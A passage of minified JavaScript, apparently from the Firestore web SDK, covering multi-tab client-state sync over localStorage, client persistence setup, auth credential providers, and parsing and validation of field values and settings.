RegExp("^"+nu+"_"+s+"_([^_]*)$"),this.mutationBatchKeyRe=new RegExp("^"+ru+"_"+s+"_(\\d+)(?:_(.*))?$"),this.queryTargetKeyRe=new RegExp("^"+iu+"_"+s+"_(\\d+)$"),this.onlineStateKey=ou+"_"+r,this.platform.window.addEventListener("storage",this.storageListener)}return t.isAvailable=function(t){return!(!t.window||null==t.window.localStorage)},t.prototype.start=function(){return u(this,void 0,void 0,function(){var t,e,n,r,i,o,s,a,u,h,l,f=this;return c(this,function(c){switch(c.label){case 0:return Zn(!this.started,"WebStorageSharedClientState already started"),Zn(null!==this.syncEngine,"syncEngine property must be set before calling start()"),Zn(null!==this.onlineStateHandler,"onlineStateHandler property must be set before calling start()"),[4,this.syncEngine.getActiveClients()];case 1:for(t=c.sent(),e=0,n=t;e<n.length;e++)(r=n[e])!==this.localClientId&&(i=this.getItem(this.toWebStorageClientStateKey(r)))&&(o=cu.fromWebStorageEntry(r,i))&&(this.activeClients[o.clientId]=o);for(this.persistClientState(),(s=this.storage.getItem(this.onlineStateKey))&&(a=this.fromWebStorageOnlineState(s))&&this.handleOnlineStateEvent(a),u=0,h=this.earlyEvents;u<h.length;u++)l=h[u],this.handleWebStorageEvent(l);return this.earlyEvents=[],this.platform.window.addEventListener("unload",function(){return f.shutdown()}),this.started=!0,[2]}})})},t.prototype.writeSequenceNumber=function(t){this.setItem(this.sequenceNumberKey,JSON.stringify(t))},t.prototype.getAllActiveQueryTargets=function(){var t=ho();return ur(this.activeClients,function(e,n){t=t.unionWith(n.activeTargetIds)}),t},t.prototype.isActiveQueryTarget=function(t){for(var e in this.activeClients)if(this.activeClients.hasOwnProperty(e)&&this.activeClients[e].activeTargetIds.has(t))return!0;return!1},t.prototype.addPendingMutation=function(t){this.persistMutationState(t,"pending")},t.prototype.updateMutationState=function(t,e,n){this.persistMutationState(t,e,n),this.removeMutationState(t)},t.prototype.addLocalQueryTarget=function(t){var e="not-current";if(this.isActiveQueryTarget(t)){var n=this.storage.getItem(this.toWebStorageQueryTargetMetadataKey(t));if(n){var r=uu.fromWebStorageEntry(t,n);r&&(e=r.state)}}return this.localClientState.addQueryTarget(t),this.persistClientState(),e},t.prototype.removeLocalQueryTarget=function(t){this.localClientState.removeQueryTarget(t),this.persistClientState()},t.prototype.isLocalQueryTarget=function(t){return this.localClientState.activeTargetIds.has(t)},t.prototype.clearQueryState=function(t){this.removeItem(this.toWebStorageQueryTargetMetadataKey(t))},t.prototype.updateQueryState=function(t,e,n){this.persistQueryTargetState(t,e,n)},t.prototype.handleUserChange=function(t,e,n){var r=this;e.forEach(function(t){r.removeMutationState(t)}),this.currentUser=t,n.forEach(function(t){r.addPendingMutation(t)})},t.prototype.setOnlineState=function(t){this.persistOnlineState(t)},t.prototype.shutdown=function(){this.started&&(this.platform.window.removeEventListener("storage",this.storageListener),this.removeItem(this.localClientStorageKey),this.started=!1)},t.prototype.getItem=function(t){var e=this.storage.getItem(t);return Xn(eu,"READ",t,e),e},t.prototype.setItem=function(t,e){Xn(eu,"SET",t,e),this.storage.setItem(t,e)},t.prototype.removeItem=function(t){Xn(eu,"REMOVE",t),this.storage.removeItem(t)},t.prototype.handleWebStorageEvent=function(t){var e=this;if(t.storageArea===this.storage){if(Xn(eu,"EVENT",t.key,t.newValue),t.key===this.localClientStorageKey)return void Yn("Received WebStorage notification for local change. Another client might have garbage-collected our state");this.queue.enqueueAndForget(function(){return u(e,void 0,void 0,function(){var e,n,r,i,o,s;return c(this,function(a){if(!this.started)return this.earlyEvents.push(t),[2];if(null===t.key)return[2];if(this.clientStateKeyRe.test(t.key)){if(null==t.newValue)return n=this.fromWebStorageClientStateKey(t.key),[2,this.handleClientStateEvent(n,null)];if(e=this.fromWebStorageClientState(t.key,t.newValue))return[2,this.handleClientStateEvent(e.clientId,e)]}else if(this.mutationBatchKeyRe.test(t.key)){if(null!==t.newValue&&(r=this.fromWebStorageMutationMetadata(t.key,t.newValue)))return[2,this.handleMutationBatchEvent(r)]}else if(this.queryTargetKeyRe.test(t.key)){if(null!==t.newValue&&(i=this.fromWebStorageQueryTargetMetadata(t.key,t.newValue)))return[2,this.handleQueryTargetEvent(i)]}else if(t.key===this.onlineStateKey){if(null!==t.newValue&&(o=this.fromWebStorageOnlineState(t.newValue)))return[2,this.handleOnlineStateEvent(o)]}else t.key===this.sequenceNumberKey&&(Zn(!!this.sequenceNumberHandler,"Missing sequenceNumberHandler"),(s=function(t){var e=zo.INVALID;if(null!=t)try{var n=JSON.parse(t);Zn("number"==typeof n,"Found non-numeric sequence number"),e=n}catch(t){Yn(eu,"Failed to read sequence number from WebStorage",t)}return e}(t.newValue))!==zo.INVALID&&this.sequenceNumberHandler(s));return[2]})})})}},Object.defineProperty(t.prototype,"localClientState",{get:function(){return this.activeClients[this.localClientId]},enumerable:!0,configurable:!0}),t.prototype.persistClientState=function(){this.setItem(this.localClientStorageKey,this.localClientState.toWebStorageJSON())},t.prototype.persistMutationState=function(t,e,n){var r=new au(this.currentUser,t,e,n),i=this.toWebStorageMutationBatchKey(t);this.setItem(i,r.toWebStorageJSON())},t.prototype.removeMutationState=function(t){var e=this.toWebStorageMutationBatchKey(t);this.removeItem(e)},t.prototype.persistOnlineState=function(t){var e={clientId:this.localClientId,onlineState:Oa[t]};this.storage.setItem(this.onlineStateKey,JSON.stringify(e))},t.prototype.persistQueryTargetState=function(t,e,n){var r=this.toWebStorageQueryTargetMetadataKey(t),i=new uu(t,e,n);this.setItem(r,i.toWebStorageJSON())},t.prototype.toWebStorageClientStateKey=function(t){return Zn(-1===t.indexOf("_"),"Client key cannot contain '_', but was '"+t+"'"),nu+"_"+this.persistenceKey+"_"+t},t.prototype.toWebStorageQueryTargetMetadataKey=function(t){return iu+"_"+this.persistenceKey+"_"+t},t.prototype.toWebStorageMutationBatchKey=function(t){var e=ru+"_"+this.persistenceKey+"_"+t;return this.currentUser.isAuthenticated()&&(e+="_"+this.currentUser.uid),e},t.prototype.fromWebStorageClientStateKey=function(t){var e=this.clientStateKeyRe.exec(t);return e?e[1]:null},t.prototype.fromWebStorageClientState=function(t,e){var n=this.fromWebStorageClientStateKey(t);return Zn(null!==n,"Cannot parse client state key '"+t+"'"),cu.fromWebStorageEntry(n,e)},t.prototype.fromWebStorageMutationMetadata=function(t,e){var n=this.mutationBatchKeyRe.exec(t);Zn(null!==n,"Cannot parse mutation batch key '"+t+"'");var r=Number(n[1]),i=void 0!==n[2]?n[2]:null;return au.fromWebStorageEntry(new tu(i),r,e)},t.prototype.fromWebStorageQueryTargetMetadata=function(t,e){var n=this.queryTargetKeyRe.exec(t);Zn(null!==n,"Cannot parse query target key '"+t+"'");var r=Number(n[1]);return uu.fromWebStorageEntry(r,e)},t.prototype.fromWebStorageOnlineState=function(t){return hu.fromWebStorageEntry(t)},t.prototype.handleMutationBatchEvent=function(t){return u(this,void 0,void 0,function(){return c(this,function(e){return t.user.uid!==this.currentUser.uid?(Xn(eu,"Ignoring mutation for non-active user "+t.user.uid),[2]):[2,this.syncEngine.applyBatchState(t.batchId,t.state,t.error)]})})},t.prototype.handleQueryTargetEvent=function(t){return this.syncEngine.applyTargetState(t.targetId,t.state,t.error)},t.prototype.handleClientStateEvent=function(t,e){var n=this,r=this.getAllActiveQueryTargets();e?this.activeClients[t]=e:delete this.activeClients[t];var i=this.getAllActiveQueryTargets(),o=[],s=[];return i.forEach(function(t){return u(n,void 0,void 0,function(){return c(this,function(e){return r.has(t)||o.push(t),[2]})})}),r.forEach(function(t){return u(n,void 0,void 0,function(){return c(this,function(e){return i.has(t)||s.push(t),[2]})})}),this.syncEngine.applyActiveTargetsChange(o,s)},t.prototype.handleOnlineStateEvent=function(t){this.activeClients[t.clientId]&&this.onlineStateHandler(t.onlineState)},t}();var du=function(){function t(){this.localState=new lu,this.queryState={},this.syncEngine=null,this.onlineStateHandler=null,this.sequenceNumberHandler=null}return t.prototype.addPendingMutation=function(t){},t.prototype.updateMutationState=function(t,e,n){},t.prototype.addLocalQueryTarget=function(t){return this.localState.addQueryTarget(t),this.queryState[t]||"not-current"},t.prototype.updateQueryState=function(t,e,n){this.queryState[t]=e},t.prototype.removeLocalQueryTarget=function(t){this.localState.removeQueryTarget(t)},t.prototype.isLocalQueryTarget=function(t){return this.localState.activeTargetIds.has(t)},t.prototype.clearQueryState=function(t){delete this.queryState[t]},t.prototype.getAllActiveQueryTargets=function(){return this.localState.activeTargetIds},t.prototype.isActiveQueryTarget=function(t){return this.localState.activeTargetIds.has(t)},t.prototype.start=function(){return this.localState=new lu,Promise.resolve()},t.prototype.handleUserChange=function(t,e,n){},t.prototype.setOnlineState=function(t){},t.prototype.shutdown=function(){},t.prototype.writeSequenceNumber=function(t){},t}(),pu=function(){function t(t,e,n,r){this.platform=t,this.databaseInfo=e,this.credentials=n,this.asyncQueue=r,this.clientId=Nr.newId()}return t.prototype.start=function(t){var e=this,n=new Ho,r=new Ho,i=!1;return this.credentials.setChangeListener(function(o){i?e.asyncQueue.enqueueAndForget(function(){return e.handleCredentialChange(o)}):(i=!0,e.initializePersistence(t,r,o).then(function(){return e.initializeRest(o)}).then(n.resolve,n.reject))}),this.asyncQueue.enqueueAndForget(function(){return n.promise}),r.promise},t.prototype.enableNetwork=function(){var t=this;return this.asyncQueue.enqueue(function(){return t.syncEngine.enableNetwork()})},t.prototype.initializePersistence=function(t,e,n){var r=this;return t.enabled?this.startIndexedDbPersistence(n,t).then(e.resolve).catch(function(t){return e.reject(t),r.canFallback(t)?(console.warn("Error enabling offline storage. Falling back to storage disabled: "+t),r.startMemoryPersistence()):Promise.reject(t)}):(e.resolve(),this.startMemoryPersistence())},t.prototype.canFallback=function(t){return t instanceof rr?t.code===nr.FAILED_PRECONDITION||t.code===nr.UNIMPLEMENTED:!("undefined"!=typeof DOMException&&t instanceof DOMException)||(22===t.code||20===t.code)},t.prototype.startIndexedDbPersistence=function(t,e){var n=this;Zn(e.enabled,"Should only start IndexedDb persitence with offline persistence enabled.");var r=fa.buildStoragePrefix(this.databaseInfo),i=new _o(this.databaseInfo.databaseId,{useProto3Json:!0});return Promise.resolve().then(function(){return u(n,void 0,void 0,function(){var n,o;return c(this,function(s){switch(s.label){case 0:if(e.experimentalTabSynchronization&&!fu.isAvailable(this.platform))throw new rr(nr.UNIMPLEMENTED,"IndexedDB persistence is only available on platforms that support LocalStorage.");return e.experimentalTabSynchronization?(this.sharedClientState=new fu(this.asyncQueue,this.platform,r,this.clientId,t),n=this,[4,fa.createMultiClientIndexedDbPersistence(r,this.clientId,this.platform,this.asyncQueue,i,{sequenceNumberSyncer:this.sharedClientState})]):[3,2];case 1:return n.persistence=s.sent(),[3,4];case 2:return this.sharedClientState=new du,o=this,[4,fa.createIndexedDbPersistence(r,this.clientId,this.platform,this.asyncQueue,i)];case 3:o.persistence=s.sent(),s.label=4;case 4:return[2]}})})})},t.prototype.startMemoryPersistence=function(){var t=new _o(this.databaseInfo.databaseId,{useProto3Json:!0});return this.persistence=Na.createEagerPersistence(this.clientId,t),this.sharedClientState=new du,Promise.resolve()},t.prototype.initializeRest=function(t){var e=this;return Xn("FirestoreClient","Initializing. user=",t.uid),this.platform.loadConnection(this.databaseInfo).then(function(n){return u(e,void 0,void 0,function(){var e,r,i,o,s=this;return c(this,function(a){switch(a.label){case 0:return this.localStore=new Ta(this.persistence,t),e=this.platform.newSerializer(this.databaseInfo.databaseId),r=new Ba(this.asyncQueue,n,this.credentials,e),i=function(t){return s.syncEngine.applyOnlineStateChange(t,Pa.RemoteStore)},o=function(t){return s.syncEngine.applyOnlineStateChange(t,Pa.SharedClientState)},this.remoteStore=new Ka(this.localStore,r,this.asyncQueue,i),this.syncEngine=new Za(this.localStore,this.remoteStore,this.sharedClientState,t),this.sharedClientState.onlineStateHandler=o,this.remoteStore.syncEngine=this.syncEngine,this.sharedClientState.syncEngine=this.syncEngine,this.eventMgr=new ja(this.syncEngine),[4,this.sharedClientState.start()];case 1:return a.sent(),[4,this.remoteStore.start()];case 2:return a.sent(),[4,this.persistence.setPrimaryStateListener(function(t){return s.syncEngine.applyPrimaryState(t)})];case 3:return a.sent(),[2]}})})})},t.prototype.handleCredentialChange=function(t){return this.asyncQueue.verifyOperationInProgress(),Xn("FirestoreClient","Credential Changed. Current user: "+t.uid),this.syncEngine.handleCredentialChange(t)},t.prototype.disableNetwork=function(){var t=this;return this.asyncQueue.enqueue(function(){return t.syncEngine.disableNetwork()})},t.prototype.shutdown=function(t){var e=this;return this.asyncQueue.enqueue(function(){return u(e,void 0,void 0,function(){return c(this,function(e){switch(e.label){case 0:return[4,this.remoteStore.shutdown()];case 1:return e.sent(),[4,this.sharedClientState.shutdown()];case 2:return e.sent(),[4,this.persistence.shutdown(t&&t.purgePersistenceWithDataLoss)];case 3:return e.sent(),this.credentials.removeChangeListener(),[2]}})})})},t.prototype.listen=function(t,e,n){var r=this,i=new Ga(t,e,n);return this.asyncQueue.enqueueAndForget(function(){return r.eventMgr.listen(i)}),i},t.prototype.unlisten=function(t){var e=this;this.asyncQueue.enqueueAndForget(function(){return e.eventMgr.unlisten(t)})},t.prototype.getDocumentFromLocalCache=function(t){var e=this;return this.asyncQueue.enqueue(function(){return e.localStore.readDocument(t)}).then(function(t){if(t instanceof zr)return t;if(t instanceof Hr)return null;throw new rr(nr.UNAVAILABLE,"Failed to get document from cache. (However, this document may exist on the server. Run again without setting 'source' in the GetOptions to attempt to retrieve the document from the server.)")})},t.prototype.getDocumentsFromLocalCache=function(t){var e=this;return this.asyncQueue.enqueue(function(){return e.localStore.executeQuery(t)}).then(function(e){var n=uo(),r=new Ya(t,n),i=r.computeDocChanges(e);return r.applyChanges(i,!1).snapshot})},t.prototype.write=function(t){var e=this,n=new Ho;return this.asyncQueue.enqueueAndForget(function(){return e.syncEngine.write(t,n)}),n.promise},t.prototype.databaseId=function(){return this.databaseInfo.databaseId},t.prototype.transaction=function(t){var e=this;return this.asyncQueue.enqueue(function(){return u(e,void 0,void 0,function(){return c(this,function(t){return[2]})})}).then(function(){return e.syncEngine.runTransaction(t)})},t}(),mu=function(){function t(t){this.observer=t,this.muted=!1}return t.prototype.next=function(t){this.scheduleEvent(this.observer.next,t)},t.prototype.error=function(t){this.scheduleEvent(this.observer.error,t)},t.prototype.mute=function(){this.muted=!0},t.prototype.scheduleEvent=function(t,e){var n=this;this.muted||setTimeout(function(){n.muted||t(e)},0)},t}(),yu=function(){function t(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];!function(t,e,n,r){if(!(e instanceof Array)||e.length<r)throw new rr(nr.INVALID_ARGUMENT,"Function "+t+"() requires its "+n+" argument to be an array with at least "+Dr(r,"element")+".")}("FieldPath",t,"fieldNames",1);for(var n=0;n<t.length;++n)if(dr("FieldPath","string",n,t[n]),0===t[n].length)throw new rr(nr.INVALID_ARGUMENT,"Invalid field name at argument $(i + 1). Field names must not be empty.");this._internalPath=new Wr(t)}return t.documentId=function(){return t._DOCUMENT_ID},t.prototype.isEqual=function(e){if(!(e instanceof t))throw Ir("isEqual","FieldPath",1,e);return this._internalPath.isEqual(e._internalPath)},t._DOCUMENT_ID=new t(Wr.keyField().canonicalString()),t}(),gu=new RegExp("[~\\*/\\[\\]]");var vu=function(){return function(t,e){this.user=e,this.type="OAuth",this.authHeaders={Authorization:"Bearer "+t}}}(),bu=function(){function t(){this.changeListener=null}return t.prototype.getToken=function(){return Promise.resolve(null)},t.prototype.invalidateToken=function(){},t.prototype.setChangeListener=function(t){Zn(!this.changeListener,"Can only call setChangeListener() once."),this.changeListener=t,t(tu.UNAUTHENTICATED)},t.prototype.removeChangeListener=function(){Zn(null!==this.changeListener,"removeChangeListener() when no listener registered"),this.changeListener=null},t}(),wu=function(){function t(t){var e=this;this.app=t,this.tokenListener=null,this.tokenCounter=0,this.changeListener=null,this.forceRefresh=!1,this.tokenListener=function(){e.tokenCounter++,e.currentUser=e.getUser(),e.changeListener&&e.changeListener(e.currentUser)},this.tokenCounter=0,this.app.INTERNAL.addAuthTokenListener(this.tokenListener)}return t.prototype.getToken=function(){var t=this;Zn(null!=this.tokenListener,"getToken cannot be called after listener removed.");var e=this.tokenCounter,n=this.forceRefresh;return this.forceRefresh=!1,this.app.INTERNAL.getToken(n).then(function(n){if(t.tokenCounter!==e)throw new rr(nr.ABORTED,"getToken aborted due to token change.");return n?(Zn("string"==typeof n.accessToken,"Invalid tokenData returned from getToken():"+n),new vu(n.accessToken,t.currentUser)):null})},t.prototype.invalidateToken=function(){this.forceRefresh=!0},t.prototype.setChangeListener=function(t){Zn(!this.changeListener,"Can only call setChangeListener() once."),this.changeListener=t,this.currentUser&&t(this.currentUser)},t.prototype.removeChangeListener=function(){Zn(null!=this.tokenListener,"removeChangeListener() called twice"),Zn(null!==this.changeListener,"removeChangeListener() called when no listener registered"),this.app.INTERNAL.removeAuthTokenListener(this.tokenListener),this.tokenListener=null,this.changeListener=null},t.prototype.getUser=function(){var t=this.app.INTERNAL.getUid();return Zn(null===t||"string"==typeof t,"Received invalid UID: "+t),new tu(t)},t}(),Tu=function(){function t(t,e){this.gapi=t,this.sessionIndex=e,this.type="FirstParty",this.user=tu.FIRST_PARTY,Zn(this.gapi&&this.gapi.auth&&this.gapi.auth.getAuthHeaderValueForFirstParty,"unexpected gapi interface")}return Object.defineProperty(t.prototype,"authHeaders",{get:function(){return{Authorization:this.gapi.auth.getAuthHeaderValueForFirstParty([]),"X-Goog-AuthUser":this.sessionIndex}},enumerable:!0,configurable:!0}),t}(),Su=function(){function t(t,e){this.gapi=t,this.sessionIndex=e,Zn(this.gapi&&this.gapi.auth&&this.gapi.auth.getAuthHeaderValueForFirstParty,"unexpected gapi interface")}return t.prototype.getToken=function(){return Promise.resolve(new Tu(this.gapi,this.sessionIndex))},t.prototype.setChangeListener=function(t){t(tu.FIRST_PARTY)},t.prototype.removeChangeListener=function(){},t.prototype.invalidateToken=function(){},t}();function Eu(t){return function(t,e){if("object"!=typeof t||null===t)return!1;for(var n=t,r=0,i=e;r<i.length;r++){var o=i[r];if(o in n&&"function"==typeof n[o])return!0}return!1}(t,["next","error","complete"])}var Iu,Cu=function(){function t(t){this._methodName=t}return t.delete=function(){return Du.instance},t.serverTimestamp=function(){return Nu.instance},t.arrayUnion=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return lr("FieldValue.arrayUnion",arguments,1),new Au(t)},t.arrayRemove=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return lr("FieldValue.arrayRemove",arguments,1),new ku(t)},t.prototype.isEqual=function(t){return this===t},t}(),Du=function(t){function e(){return t.call(this,"FieldValue.delete")||this}return a(e,t),e.instance=new e,e}(Cu),Nu=function(t){function e(){return t.call(this,"FieldValue.serverTimestamp")||this}return a(e,t),e.instance=new e,e}(Cu),Au=function(t){function e(e){var n=t.call(this,"FieldValue.arrayUnion")||this;return n._elements=e,n}return a(e,t),e}(Cu),ku=function(t){function e(e){var n=t.call(this,"FieldValue.arrayRemove")||this;return n._elements=e,n}return a(e,t),e}(Cu),Ru=ir(Cu,"Use FieldValue.<field>() instead."),Mu=/^__.*__$/,Ou=function(){function t(t,e,n){this.data=t,this.fieldMask=e,this.fieldTransforms=n}return t.prototype.toMutations=function(t,e){var n=[];return null!==this.fieldMask?n.push(new Ki(t,this.data,this.fieldMask,e)):n.push(new Qi(t,this.data,e)),this.fieldTransforms.length>0&&n.push(new Wi(t,this.fieldTransforms)),n},t}(),Pu=function(){function t(t,e,n){this.data=t,this.fieldMask=e,this.fieldTransforms=n}return t.prototype.toMutations=function(t,e){var n=[new Ki(t,this.data,this.fieldMask,e)];return this.fieldTransforms.length>0&&n.push(new Wi(t,this.fieldTransforms)),n},t}();function _u(t){switch(t){case Iu.Set:case Iu.MergeSet:case Iu.Update:return!0;case Iu.Argument:return!1;default:throw $n("Unexpected case for UserDataSource: "+t)}}!function(t){t[t.Set=0]="Set",t[t.Update=1]="Update",t[t.MergeSet=2]="MergeSet",t[t.Argument=3]="Argument"}(Iu||(Iu={}));var Lu=function(){function t(t,e,n,r,i,o){this.dataSource=t,this.methodName=e,this.path=n,this.arrayElement=r,void 0===i&&this.validatePath(),this.arrayElement=void 0!==r&&r,this.fieldTransforms=i||[],this.fieldMask=o||[]}return t.prototype.childContextForField=function(e){var n=null==this.path?null:this.path.child(e),r=new t(this.dataSource,this.methodName,n,!1,this.fieldTransforms,this.fieldMask);return r.validatePathSegment(e),r},t.prototype.childContextForFieldPath=function(e){var n=null==this.path?null:this.path.child(e),r=new t(this.dataSource,this.methodName,n,!1,this.fieldTransforms,this.fieldMask);return r.validatePath(),r},t.prototype.childContextForArray=function(e){return new t(this.dataSource,this.methodName,null,!0,this.fieldTransforms,this.fieldMask)},t.prototype.createError=function(t){var e=null===this.path||this.path.isEmpty()?"":" (found in field "+this.path.toString()+")";return new rr(nr.INVALID_ARGUMENT,"Function "+this.methodName+"() called with invalid data. "+t+e)},t.prototype.contains=function(t){return void 0!==this.fieldMask.find(function(e){return t.isPrefixOf(e)})||void 0!==this.fieldTransforms.find(function(e){return t.isPrefixOf(e.field)})},t.prototype.validatePath=function(){if(null!==this.path)for(var t=0;t<this.path.length;t++)this.validatePathSegment(this.path.get(t))},t.prototype.validatePathSegment=function(t){if(_u(this.dataSource)&&Mu.test(t))throw this.createError("Document fields cannot begin and end with __")},t}(),xu=function(){return function(t,e){this.databaseId=t,this.key=e}}(),qu=function(){function t(t){this.preConverter=t}return t.prototype.parseSetData=function(t,e){var n=new Lu(Iu.Set,t,Wr.EMPTY_PATH);Vu("Data must be an object, but it was:",n,e);var r=this.parseData(e,n);return new Ou(r,null,n.fieldTransforms)},t.prototype.parseMergeData=function(t,e,n){var r=new Lu(Iu.MergeSet,t,Wr.EMPTY_PATH);Vu("Data must be an object, but it was:",r,e);var i,o,s=this.parseData(e,r);if(n){for(var a=[],u=0,c=n;u<c.length;u++){var h=c[u],l=void 0;if(h instanceof yu)l=h._internalPath;else{if("string"!=typeof h)throw $n("Expected stringOrFieldPath to be a string or a FieldPath");l=Uu(t,h)}if(!r.contains(l))throw new rr(nr.INVALID_ARGUMENT,"Field '"+l+"' is specified in your field mask but missing from your input data.");a.push(l)}i=new qi(a),o=r.fieldTransforms.filter(function(t){return i.covers(t.field)})}else i=new qi(r.fieldMask),o=r.fieldTransforms;return new Ou(s,i,o)},t.prototype.parseUpdateData=function(t,e){var n=this,r=new Lu(Iu.Update,t,Wr.EMPTY_PATH);Vu("Data must be an object, but it was:",r,e);var i=[],o=pi.EMPTY;ur(e,function(e,s){var a=Uu(t,e),u=r.childContextForFieldPath(a);if((s=n.runPreConverter(s,u))instanceof Du)i.push(a);else{var c=n.parseData(s,u);null!=c&&(i.push(a),o=o.set(a,c))}});var s=new qi(i);return new Pu(o,s,r.fieldTransforms)},t.prototype.parseUpdateVarargs=function(t,e,n,r){var i=new Lu(Iu.Update,t,Wr.EMPTY_PATH),o=[Bu(t,e)],s=[n];if(r.length%2!=0)throw new rr(nr.INVALID_ARGUMENT,"Function "+t+"() needs to be called with an even number of arguments that alternate between field names and values.");for(var a=0;a<r.length;a+=2)o.push(Bu(t,r[a])),s.push(r[a+1]);var u=[],c=pi.EMPTY;for(a=0;a<o.length;++a){var h=o[a],l=i.childContextForFieldPath(h),f=this.runPreConverter(s[a],l);if(f instanceof Du)u.push(h);else{var d=this.parseData(f,l);null!=d&&(u.push(h),c=c.set(h,d))}}var p=new qi(u);return new Pu(c,p,i.fieldTransforms)},t.prototype.parseQueryValue=function(t,e){var n=new Lu(Iu.Argument,t,Wr.EMPTY_PATH),r=this.parseData(e,n);return Zn(null!=r,"Parsed data should not be null."),Zn(0===n.fieldTransforms.length,"Field transforms should have been disallowed."),r},t.prototype.runPreConverter=function(t,e){try{return this.preConverter(t)}catch(t){var n=Qu(t);throw e.createError(n)}},t.prototype.parseData=function(t,e){if(Fu(t=this.runPreConverter(t,e)))return Vu("Unsupported field value:",e,t),this.parseObject(t,e);if(t instanceof Cu)return this.parseSentinelFieldValue(t,e),null;if(e.path&&e.fieldMask.push(e.path),t instanceof Array){if(e.arrayElement)throw e.createError("Nested arrays are not supported");return this.parseArray(t,e)}return this.parseScalarValue(t,e)},t.prototype.parseObject=function(t,e){var n=this,r=new Yr(Ar);return cr(t)?e.path&&e.path.length>0&&e.fieldMask.push(e.path):ur(t,function(t,i){var o=n.parseData(i,e.childContextForField(t));null!=o&&(r=r.insert(t,o))}),new pi(r)},t.prototype.parseArray=function(t,e){for(var n=[],r=0,i=0,o=t;i<o.length;i++){var s=o[i],a=this.parseData(s,e.childContextForArray(r));null==a&&(a=ni.INSTANCE),n.push(a),r++}return new mi(n)},t.prototype.parseSentinelFieldValue=function(t,e){if(!_u(e.dataSource))throw e.createError(t._methodName+"() can only be used with update() and set()");if(null===e.path)throw e.createError(t._methodName+"() is not currently supported inside arrays");if(t instanceof Du){if(e.dataSource!==Iu.MergeSet)throw e.dataSource===Iu.Update?(Zn(e.path.length>0,"FieldValue.delete() at the top level should have already been handled."),e.createError("FieldValue.delete() can only appear at the top level of your update data")):e.createError("FieldValue.delete() cannot be used with set() unless you pass {merge:true}");e.fieldMask.push(e.path)}else if(t instanceof Nu)e.fieldTransforms.push(new Fi(e.path,Gi.instance));else if(t instanceof Au){var n=this.parseArrayTransformElements(t._methodName,t._elements),r=new zi(n);e.fieldTransforms.push(new Fi(e.path,r))}else if(t instanceof ku){n=this.parseArrayTransformElements(t._methodName,t._elements);var i=new Hi(n);e.fieldTransforms.push(new Fi(e.path,i))}else $n("Unknown FieldValue type: "+t)},t.prototype.parseScalarValue=function(t,e){if(null===t)return ni.INSTANCE;if("number"==typeof t)return Ti(t)?new si(t):new ai(t);if("boolean"==typeof t)return ri.of(t);if("string"==typeof t)return new ui(t);if(t instanceof Date)return new ci(qr.fromDate(t));if(t instanceof qr)return new ci(new qr(t.seconds,1e3*Math.floor(t.nanoseconds/1e3)));if(t instanceof xr)return new di(t);if(t instanceof _r)return new li(t);if(t instanceof xu)return new fi(t.databaseId,t.key);throw e.createError("Unsupported field value: "+Tr(t))},t.prototype.parseArrayTransformElements=function(t,e){var n=this;return e.map(function(e,r){var i=new Lu(Iu.Argument,t,Wr.EMPTY_PATH);return n.parseData(e,i.childContextForArray(r))})},t}();function Fu(t){return!("object"!=typeof t||null===t||t instanceof Array||t instanceof Date||t instanceof qr||t instanceof xr||t instanceof _r||t instanceof xu||t instanceof Cu)}function Vu(t,e,n){if(!Fu(n)||!wr(n)){var r=Tr(n);throw"an object"===r?e.createError(t+" a custom object"):e.createError(t+" "+r)}}function Bu(t,e){if(e instanceof yu)return e._internalPath;if("string"==typeof e)return Uu(t,e);throw new rr(nr.INVALID_ARGUMENT,"Function "+t+"() called with invalid data. Field path arguments must be of type string or FieldPath.")}function Uu(t,e){try{return function(t){if(t.search(gu)>=0)throw new rr(nr.INVALID_ARGUMENT,"Invalid field path ("+t+"). Paths must not contain '~', '*', '/', '[', or ']'");try{return new(yu.bind.apply(yu,[void 0].concat(t.split("."))))}catch(e){throw new rr(nr.INVALID_ARGUMENT,"Invalid field path ("+t+"). Paths must not be empty, begin with '.', end with '.', or contain '..'")}}(e)._internalPath}catch(e){var n=Qu(e);throw new rr(nr.INVALID_ARGUMENT,"Function "+t+"() called with invalid data. "+n)}}function Qu(t){return t instanceof Error?t.message:t.toString()}var Ku="firestore.googleapis.com",Wu=!0,ju=!1,Gu=!1,zu=function(){function t(t){if(void 0===t.host){if(void 0!==t.ssl)throw new rr(nr.INVALID_ARGUMENT,"Can't provide ssl option if host option is not set");this.host=Ku,this.ssl=Wu}else mr("settings","non-empty string","host",t.host),this.host=t.host,yr("settings","boolean","ssl",t.ssl),this.ssl=sr(t.ssl,Wu);Er("settings",t,["host","ssl","credentials","timestampsInSnapshots"]),yr("settings","object","credentials",t.credentials),this.credentials=t.credentials,yr("settings","boolean","timestampsInSnapshots",t.timestampsInSnapshots),this.timestampsInSnapshots=sr(t.timestampsInSnapshots,ju)}return t.prototype.isEqual=function(t){return this.host===t.host&&this.ssl===t.ssl&&this.timestampsInSnapshots===t.timestampsInSnapshots&&this.credentials===t.credentials},t}(),Hu=function(){return function(){}}(),Xu=function(){function t(t,e){this.enabled=t,Zn(t||!e,"Can only provide PersistenceSettings with persistence enabled"),e=e||{},this.experimentalTabSynchronization=sr(e.experimentalTabSynchronization,Gu)}return t.prototype.isEqual=function(t){return this.enabled===t.enabled&&this.experimentalTabSynchronization===t.experimentalTabSynchronization},t}(),Yu=function(){function t(e){var n=this;this._queue=new Yo,this.INTERNAL={delete:function(t){return u(n,void 0,void 0,function(){return c(this,function(e){return this._firestoreClient?[2,this._firestoreClient.shutdown(t)]:[2]})})}};var r=new Hu;if("object"==typeof e.options){var i=e;r.firebaseApp=i,r.databaseId=t.databaseIdFromApp(i),r.persistenceKey=r.firebaseApp.name,r.credentials=new wu(i)}else{var o=e;if(!o.projectId)throw new rr(nr.INVALID_ARGUMENT,"Must provide projectId");r.databaseId=new Br(o.projectId,o.database),r.persistenceKey="[DEFAULT]",r.credentials=new bu}r.settings=new zu({}),this._config=r,this._databaseId=r.databaseId}return t.prototype.settings=function(t){if(hr("Firestore.settings",arguments,1),dr("Firestore.settings","object",1,t),or(t,"persistence"))throw new rr(nr.INVALID_ARGUMENT,'"persistence" is now specified with a separate call to firestore.enablePersistence().');var e=new zu(t);if(this._firestoreClient&&!this._config.settings.isEqual(e))throw new rr(nr.FAILED_PRECONDITION,"Firestore has already been started and its settings can no longer be changed. You can only call settings() before calling any other methods on a Firestore object.");this._config.settings=e,void 0!==e.credentials&&(this._config.credentials=function(t){if(!t)return new bu;switch(t.type){case"gapi":return new 